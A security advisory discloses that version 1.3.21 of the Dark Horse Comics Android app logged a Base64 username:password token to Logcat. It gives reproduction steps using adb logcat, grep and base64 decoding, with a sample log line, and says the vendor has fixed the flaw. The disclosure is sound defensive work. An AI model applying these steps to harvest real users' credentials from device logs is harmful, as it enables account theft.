# Title: Dark Horse Comics - Logging Sensitive Information
# Application: Dark Horse Comics
# Version: 1.3.21
# Software Link: https://play.google.com/store/apps/details?id=com.darkhorse.digital
# Company: Dark Horse Comics
# Installs: 1,000,000+
# Impact: hackers can get username and password of Dark Horse Comics, looking at the log.
# Category: Mobile Apps
# Tested on: Android 9
Dark Horse Comics, the popular comics app installed more than 1 million, stores a user token in Logcat. The user token is the Base64-encoded string from password and username, so by decoding it, hackers can obtain usernames and passwords of the app.
Especially, in old Android versions prior to Android Jelly Bean, any app installed can access Logcat without any permission.
After reporting, the vendor has quickly fixed this problem and released a new version.
1. Try to log in Dark Horse Comics, Android app.
- Opening Login UI
- Enter credentials. Fake information is enough for reproducing.
2. Search the token in the log
$ adb logcat | grep 'request with token'
09-16 23:44:31.132 13303 14813 V DarkHorse.DungeonHTTPClient: Manually signing HTTP request with token: amFlaG8ubGVlQHJpY2UuZWR1Om15ZmFja3Bhc3N3b3Jk
3. Decoding base64 to get a username and password.
$ base64 -d
Jaeho Lee (Jaeho.Lee@rice.edu)
Rice Computer Security Lab